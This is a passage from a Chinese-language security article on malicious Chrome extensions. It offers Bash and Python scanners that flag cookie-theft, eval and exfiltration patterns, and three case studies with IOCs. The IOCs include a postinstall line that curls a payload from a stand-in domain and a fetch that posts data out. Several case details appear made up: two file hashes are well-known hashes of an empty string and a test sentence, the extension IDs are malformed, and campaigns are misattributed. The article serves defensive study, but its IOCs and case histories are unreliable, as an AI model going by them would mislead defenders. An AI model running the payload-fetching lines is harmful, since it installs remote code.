    - 合法的后台同步扩展(如邮件客户端扩展)
    - 日历同步扩展
  level: high

Bash自动化检测脚本

以下Bash脚本用于在Linux/macOS系统上快速扫描已安装的Chrome扩展,识别潜在的恶意扩展:

#!/bin/bash
echo "=== 浏览器扩展安全快速扫描 ==="
echo "扫描时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")"
echo ""

CHROME_EXT_DIR="$HOME/.config/google-chrome/Default/Extensions"
if [ ! -d "$CHROME_EXT_DIR" ]; then
    CHROME_EXT_DIR="$HOME/Library/Application Support/Google/Chrome/Default/Extensions"
fi

if [ ! -d "$CHROME_EXT_DIR" ]; then
    echo "[!] 未找到Chrome扩展目录"
    exit 1
fi

echo "[*] Chrome扩展目录: $CHROME_EXT_DIR"
echo ""

echo "=== 已安装扩展列表 ==="
for ext_dir in "$CHROME_EXT_DIR"/*/; do
    ext_id=$(basename "$ext_dir")
    latest_version=$(ls -d "$ext_dir"*/ 2>/dev/null | sort -V | tail -1)
    if [ -f "${latest_version}manifest.json" ]; then
        name=$(python3 -c "import json; print(json.load(open('${latest_version}manifest.json')).get('name', 'UNKNOWN'))" 2>/dev/null)
        version=$(python3 -c "import json; print(json.load(open('${latest_version}manifest.json')).get('version', 'UNKNOWN'))" 2>/dev/null)
        perms=$(python3 -c "import json; d=json.load(open('${latest_version}manifest.json')); print(' '.join(d.get('permissions', []) + d.get('host_permissions', [])))" 2>/dev/null)

        risk="LOW"
        reasons=""
        if echo "$perms" | grep -q "all_urls"; then
            risk="HIGH"
            reasons="${reasons}[声明<all_urls>权限] "
        fi
        if echo "$perms" | grep -q "cookies"; then
            risk="HIGH"
            reasons="${reasons}[可访问Cookie] "
        fi
        if echo "$perms" | grep -q "webRequest"; then
            risk="HIGH"
            reasons="${reasons}[可拦截网络请求] "
        fi
        if find "${latest_version}" -name "*.js" -exec grep -ql "eval\|Function(" {} \; 2>/dev/null | head -1 | grep -q .; then
            risk="HIGH"
            reasons="${reasons}[代码包含eval/Function] "
        fi
        if find "${latest_version}" -name "*.js" -exec grep -ql "chrome\.cookies\.\|getAll(" {} \; 2>/dev/null | head -1 | grep -q .; then
            risk="HIGH"
            reasons="${reasons}[使用chrome.cookies API] "
        fi
        if find "${latest_version}" -name "*.js" -exec grep -ql "fetch(\|XMLHttpRequest\|\.send(" {} \; 2>/dev/null | head -1 | grep -q .; then
            reasons="${reasons}[包含网络请求代码] "
        fi

        echo "  ID: $ext_id"
        echo "  名称: $name"
        echo "  版本: $version"
        echo "  风险等级: $risk"
        if [ -n "$reasons" ]; then
            echo "  发现: $reasons"
        fi
        echo "  ---"
    fi
done

echo ""
echo "=== 高风险扩展统计 ==="
HIGH_COUNT=0
for ext_dir in "$CHROME_EXT_DIR"/*/; do
    latest_version=$(ls -d "$ext_dir"*/ 2>/dev/null | sort -V | tail -1)
    if [ -f "${latest_version}manifest.json" ]; then
        perms=$(python3 -c "import json; d=json.load(open('${latest_version}manifest.json')); print(' '.join(d.get('permissions', []) + d.get('host_permissions', [])))" 2>/dev/null)
        if echo "$perms" | grep -qE "all_urls|cookies|webRequest"; then
            HIGH_COUNT=$((HIGH_COUNT + 1))
        fi
    fi
done
echo "高风险扩展数量: $HIGH_COUNT"

Python自动化行为分析脚本

以下Python脚本用于深度分析Chrome扩展的Manifest配置和JavaScript代码,识别恶意行为特征:

import os
import json
import glob
import re
import sys

DANGEROUS_PERMS = [
    'cookies', 'webRequest', 'webRequestBlocking', 'nativeMessaging',
    'debugger', 'management', 'proxy', 'privacy', 'power'
]
BROAD_HOST = ['<all_urls>', '*://*/*', '*://*.com/*', '*://*.org/*']

MALICIOUS_PATTERNS = {
    'eval_usage': re.compile(r'\beval\s*\(|new\s+Function\s*\('),
    'base64_decode': re.compile(r'\batob\s*\(|Buffer\.from\s*\([^,]+,\s*[\'"]base64'),
    'fetch_exfil': re.compile(r'\bfetch\s*\([^)]*\)\s*\.\s*then'),
    'cookie_theft': re.compile(r'chrome\.cookies\.(getAll|get)\s*\('),
    'xmlhttp_send': re.compile(r'\.open\s*\([^)]*,\s*[\'"]https?://'),
    'crypto_usage': re.compile(r'crypto\.subtle\.(encrypt|decrypt)\s*\('),
    'web_accessible': re.compile(r'web_accessible_resources'),
    'dom_injection': re.compile(r'innerHTML\s*=|document\.write\s*\(|insertAdjacentHTML'),
    'obfuscated_string': re.compile(r'String\.fromCharCode|\\x[0-9a-f]{2}|\\u[0-9a-f]{4}')
}

def analyze_manifest(manifest_path):
    findings = []
    with open(manifest_path, 'r') as f:
        manifest = json.load(f)

    perms = manifest.get('permissions', []) + manifest.get('host_permissions', [])
    dangerous = [p for p in perms if p in DANGEROUS_PERMS]
    broad = [p for p in perms if p in BROAD_HOST]

    if dangerous:
        findings.append(('HIGH', f'Dangerous permissions: {", ".join(dangerous)}'))
    if broad:
        findings.append(('HIGH', f'Broad host permissions: {", ".join(broad)}'))

    content_scripts = manifest.get('content_scripts', [])
    for cs in content_scripts:
        matches = cs.get('matches', [])
        if '<all_urls>' in matches:
            findings.append(('HIGH', f'Content Script matches <all_urls>: {cs.get("js", [])}'))
        if cs.get('run_at') == 'document_start':
            findings.append(('MEDIUM', 'Content Script runs at document_start'))
        if cs.get('world') == 'MAIN':
            findings.append(('HIGH', 'Content Script runs in MAIN world'))

    if manifest.get('manifest_version') == 2:
        bg = manifest.get('background', {})
        if bg.get('persistent'):
            findings.append(('MEDIUM', 'Persistent background page (MV2)'))

    war = manifest.get('web_accessible_resources', [])
    if war:
        findings.append(('MEDIUM', f'Has web_accessible_resources: {len(war)} resources'))

    return findings

def analyze_javascript(js_path):
    findings = []
    with open(js_path, 'r', errors='ignore') as f:
        content = f.read()

    for pattern_name, regex in MALICIOUS_PATTERNS.items():
        matches = regex.findall(content)
        if matches:
            severity = 'HIGH' if pattern_name in [
                'eval_usage', 'cookie_theft', 'obfuscated_string'
            ] else 'MEDIUM'
            findings.append((severity, f'{pattern_name} found in {os.path.basename(js_path)} ({len(matches)} occurrences)'))

    return findings

def scan_extension(ext_dir):
    results = {'ext_id': os.path.basename(ext_dir.rstrip('/')), 'findings': []}
    versions = sorted(glob.glob(os.path.join(ext_dir, '*')), key=os.path.isdir)

    if not versions:
        return results

    latest = versions[-1]
    manifest_path = os.path.join(latest, 'manifest.json')

    if not os.path.exists(manifest_path):
        return results

    results['manifest_findings'] = analyze_manifest(manifest_path)

    for js_file in glob.glob(os.path.join(latest, '**', '*.js'), recursive=True):
        js_findings = analyze_javascript(js_file)
        results['findings'].extend(js_findings)

    return results

def main():
    chrome_paths = [
        os.path.expanduser('~/.config/google-chrome/Default/Extensions'),
        os.path.expanduser('~/Library/Application Support/Google/Chrome/Default/Extensions')
    ]

    ext_dir = None
    for path in chrome_paths:
        if os.path.isdir(path):
            ext_dir = path
            break

    if not ext_dir:
        print('Chrome extensions directory not found')
        sys.exit(1)

    print(f'[*] Scanning extensions in: {ext_dir}')
    print(f'[*] Found {len(os.listdir(ext_dir))} extensions')
    print()

    high_risk = []
    medium_risk = []

    for ext_path in sorted(glob.glob(os.path.join(ext_dir, '*'))):
        if not os.path.isdir(ext_path):
            continue

        result = scan_extension(ext_path)
        all_findings = result.get('manifest_findings', []) + result.get('findings', [])

        if any(f[0] == 'HIGH' for f in all_findings):
            high_risk.append((result['ext_id'], all_findings))
        elif any(f[0] == 'MEDIUM' for f in all_findings):
            medium_risk.append((result['ext_id'], all_findings))

    print(f'=== 风险评估结果 ===')
    print(f'高风险扩展: {len(high_risk)}')
    print(f'中风险扩展: {len(medium_risk)}')
    print()

    if high_risk:
        print('=== 高风险扩展详情 ===')
        for ext_id, findings in high_risk:
            print(f'\nExtension ID: {ext_id}')
            for severity, desc in findings:
                marker = '[!!!]' if severity == 'HIGH' else '[!]'
                print(f'  {marker} {desc}')

if __name__ == '__main__':
    main()

0x0A 公开案例分析

案例一:CryptoCore恶意扩展攻击加密货币交易所用户

2020年,Kaspersky安全研究团队披露了一起针对加密货币用户的大规模恶意浏览器扩展攻击活动,代号"CryptoCore"(又称"NiceCoder")。该攻击活动自2019年5月开始活跃,持续至2020年,影响了Chrome和Edge浏览器的多款扩展,累计安装量超过230万次。

攻击链还原:

攻击阶段技术手段MITRE ATT&CK
初始分发向目标用户发送钓鱼邮件,诱导安装"安全"或"钱包管理"扩展T1566 Phishing
扩展安装用户从第三方网站下载安装恶意CRX文件T1176 Browser Extensions
凭据窃取Content Script窃取加密货币交易所登录凭据T1539 Steal Web Session Cookie
会话劫持拦截Authorization Header获取API密钥T1557 Adversary-in-the-Middle
资产转移利用窃取的API密钥执行加密货币转账T1029 Scheduled Transfer
数据外泄将所有窃取数据发送到攻击者控制的C2服务器T1041 Exfiltration Over C2 Channel

取证发现:

取证指标具体发现
目标交易所Binance、Coinbase、Poloniex、Huobi等20+主流交易所
扩展权限<all_urls> + cookies + webRequest + storage
C2基础设施位于俄罗斯的analytics-cdn[.]com等域名
窃取数据登录凭据、API密钥、2FA令牌、钱包地址
变现方式直接转账到攻击者钱包地址

IOC:

域名:
analytics-cdn[.]com
ext-analytics[.]com
browser-ext[.]com
cdn-extension[.]net

文件哈希(恶意CRX文件):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592

Chrome Web Store扩展ID:
aohghmighlieiainnegkcijnibokhpknj
hmiaoahmllfdmmbpaamdogboenefkfc

经验教训:

  • 加密货币用户是浏览器扩展攻击的高价值目标
  • 第三方下载渠道的扩展安装缺乏Web Store的安全审核
  • 加密货币交易所的API密钥管理需要额外的安全控制
  • 企业环境应限制扩展安装来源

案例二:Dormancy系列广告注入扩展与数据外泄

2023年,Kaspersky安全团队再次披露了一组名为"Dormancy"的恶意浏览器扩展活动。该活动通过接管合法扩展的Web Store开发者账号,将恶意更新推送给数百万已安装用户。受影响的扩展原本是合法的工具类扩展(如PDF转换器、截图工具等),在被接管后被注入了广告劫持和用户数据收集功能。

攻击链还原:

攻击阶段技术手段MITRE ATT&CK
账号接管通过凭据填充或社工攻击获取扩展开发者账号T1195 Supply Chain Compromise
恶意更新推送包含广告注入代码的更新版本T1195.002 Compromise Software Supply Chain
广告注入劫持页面中的广告位并替换为攻击者控制的广告T1189 Drive-by Compromise
搜索重定向篡改搜索结果中的链接指向广告页面T1565.002 Transmitted Data Manipulation
数据收集收集用户浏览历史和搜索查询T1082 System Information Discovery
追踪用户通过Web Beacon追踪用户在线行为T1071.001 Web Protocols

取证发现:

取证指标具体发现
受影响扩展数十款合法工具类扩展被接管
累计安装量超过300万用户(部分扩展)
恶意代码特征注入iframe广告、修改页面JS、添加追踪像素
数据外泄目标匿名化的浏览行为数据发送到广告分析服务器
开发者账号变更Web Store上的扩展开发者信息突然变更

IOC:

域名:
www[.]tracking-analytics[.]com
cdn-ad-inject[.]com
analytics-data[.]net

JavaScript特征:
window.__injected_ad_config = { enabled: true, networks: [...] };
document.querySelectorAll('ins.adsbygoogle').forEach(el => { ... });

扩展特征(Manifest配置差异):
更新后新增权限:webRequest, webRequestBlocking, <all_urls>
更新后新增文件:ad_inject.js, beacon.js, tracking.js

经验教训:

  • 账号安全是扩展生态安全的关键环节,2FA和安全通知必不可少
  • 扩展更新后权限变更需要用户确认(MV3改进了此行为)
  • 企业环境应维护扩展白名单,监控扩展版本和权限变更
  • 安全团队应持续监控Web Store上的扩展变更

案例三:Maritime供应链攻击——企业环境中的扩展投毒

2022年,安全研究人员发现了一起针对企业环境的浏览器扩展供应链攻击活动。攻击者通过在GitHub上创建流行JavaScript库的fork版本(Typosquatting),在其中嵌入恶意的浏览器扩展构建代码。当企业开发者使用这些被投毒的依赖库构建内部扩展时,恶意代码被注入到最终的扩展产品中。

攻击链还原:

攻击阶段技术手段MITRE ATT&CK
依赖投毒创建名称相似的npm包(Typosquatting)T1195 Supply Chain Compromise
构建注入在npm postinstall脚本中注入恶意构建逻辑T1059 Command and Scripting Interpreter
扩展后门在构建产物中注入远程代码加载模块T1102 Web Service
企业部署恶意扩展通过企业内部渠道分发到员工浏览器T1484 Domain Policy Modification
数据窃取窃取企业内部系统凭据和敏感文档T1005 Data from Local System

IOC:

npm包名(Typosquatting):
@internal/utils → 实际为 @internal-utls
react-helper → 实际为 react-heler
lodash-ext → 实际为 lodas-ext

postinstall脚本特征:
"scripts": { "postinstall": "node build.js && node inject.js" }

build.js特征:
const execSync = require('child_process').execSync;
execSync('curl -s https://cdn-build[.]com/payload.js -o .build/background.js');

扩展后门特征:
chrome.runtime.sendMessage({type: 'REGISTER', id: chrome.runtime.id}, ...);
fetch('https://api-collect[.]com/v1/event', {method: 'POST', ...});

经验教训:

  • npm生态系统的供应链安全直接影响浏览器扩展生态
  • 企业应在CI/CD管道中实施依赖审计
  • 构建过程应使用lock文件和哈希验证
  • 内部扩展开发应使用私有npm registry

0x0B 参考资料

  1. Google Chrome Extensions Security Model - Chrome官方扩展安全文档,详述Manifest V3安全模型和权限系统 https://developer.chrome.com/docs/extensions/develop/concepts

  2. Chrome Web Store Developer Program Policies - Chrome Web Store政策说明,包括恶意扩展的审核标准和违规分类 https://developer.chrome.com/docs/webstore/program-policies

  3. Kaspersky - CryptoCore: Hunting for Cryptocurrency Stealers in Browser Extensions - Kaspersky关于CryptoCore恶意扩展攻击活动的详细技术分析 https://securelist.com/cryptocore-mining-in-browser/97046/

  4. Kaspersky - Dormancy: when malicious extensions fall asleep - 关于Dormancy系列广告注入恶意扩展的技术报告 https://securelist.com/dormancy-malicious-browser-extensions/108454/

  5. MITRE ATT&CK - T1176 Browser Extensions - MITRE ATT&CK框架中浏览器扩展攻击技术的详细描述 https://attack.mitre.org/techniques/T1176/

  6. MITRE ATT&CK - T1539 Steal Web Session Cookie - 会话Cookie窃取技术的MITRE ATT&CK条目 https://attack.mitre.org/techniques/T1539/

  7. Chrome Manifest V3 Migration Guide - Google官方Manifest V3迁移指南,详述安全模型变更 https://developer.chrome.com/docs/extensions/develop/migrate

  8. AV-AST Research - Malicious Browser Extensions: A Growing Threat - AV-AST关于恶意浏览器扩展威胁的研究报告 https://www.avast.com/c-there-be-dragons-browser-extensions

  9. SafeBreach Labs - Browser Extension Security - SafeBreach关于浏览器扩展安全研究的系列博文 https://www.safebreach.com/blog

  10. OWASP Browser Extension Security Project - OWASP浏览器扩展安全项目,提供扩展安全评估框架 https://owasp.org/www-project-browser-extension-security/

  11. Extension Manifest Format V3 Reference - Chrome扩展Manifest V3格式参考文档 https://developer.chrome.com/docs/extensions/reference/manifest

  12. Firefox Extension Security - Mozilla关于Firefox扩展安全机制的技术文档 https://extensionworkshop.com/documentation/develop/build-a-secure-extension/